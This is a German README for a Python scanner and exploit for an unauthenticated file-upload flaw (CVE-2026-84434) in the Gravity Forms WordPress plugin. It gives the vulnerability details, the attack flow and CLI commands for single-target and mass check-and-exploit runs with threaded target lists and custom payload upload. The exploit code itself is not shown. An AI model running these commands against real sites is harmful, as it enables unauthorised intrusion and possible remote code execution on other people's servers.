Python-3-PoC-Scanner und Exploit für CVE-2026-84434 in Gravity Forms.
| |
|---|
| Plugin | gravityforms |
| Betroffen | ≤ 3.1.0.4 |
| Behoben in | 3.1.0.5+ (Hersteller-Sicherheitsrelease 3.1.1) |
| CVSS | 9.8 (Kritisch) |
| Auth | Unauthentifiziert |
| CWE | CWE-434 — Unrestricted Upload |
| Credit | 0xd4rk5id3 — EnvoraSec (Wordfence) |
Zusammenfassung
Versteckte File Upload-Felder umgehen die Erweiterungsvalidierung in der Validierungspipeline, während der Persistenzpfad möglicherweise weiterhin upload_file() ohne gleichwertige Prüfungen aufruft. Ein unauthentifizierter Angreifer kann per POST an ein öffentliches Formular senden, das ein File-Upload-Feld mit Visibility → Hidden enthält.
Dateien werden unter wp-content/uploads/gravity_forms/ gespeichert. Gravity Forms fügt üblicherweise .htaccess-Regeln hinzu, um die PHP-Ausführung zu blockieren; RCE hängt von der Serverkonfiguration ab (nginx, alternatives Docroot usw.).
Angriffsablauf
- Gravity Forms und Version ≤ 3.1.0.4 erkennen
- Öffentliche Seiten nach
gform_wrapper und einem versteckten fileupload-Feld (input_{form}_{field}) durchsuchen
- Erforderliche sichtbare Felder mit Platzhaltern füllen
- Multipart-POST (
gform_submit, is_submit_{id}, Datei auf verstecktem Input)
- Bestätigung über Bestätigungsnachricht / Entry-Hinweise / optionalen Marker-Abruf
Voraussetzungen
- Python 3.9+
pip install -r requirements.txt
Verwendung
pip install -r requirements.txt
# Check single target
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Exploit (built-in benign .txt probe unless --payload-file is set)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7
# Custom upload file (your own probe — not included in this repo)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7 \
--payload-file probe.txt
# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 10 --quiet
CLI-Optionen
Ausgabe (Massen-Check)
Häufige status-Werte (Check)
Einschränkungen
- Der Check-Modus sieht nur versteckte Upload-Felder, die im öffentlichen HTML gerendert werden; nur für Admins sichtbare versteckte Felder sind remote nicht auffindbar.
- FOFA-artige Listen enthalten viele gepatchte Sites oder Formulare ohne versteckten Upload — erwarten Sie eine niedrige Kandidatenrate.
- Der Standard-Exploit lädt einen harmlosen Textmarker hoch, keine Webshell.
Repository-Struktur
.
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Lokale Scan-Listen und Artefakte (list.txt, *.jsonl, benutzerdefinierte Payloads) sind in .gitignore und sollten nicht committet werden.
Rechtliches
Nur für autorisiertes Sicherheitstesting. Sie sind für die Einhaltung der geltenden Gesetze und Programmregeln verantwortlich.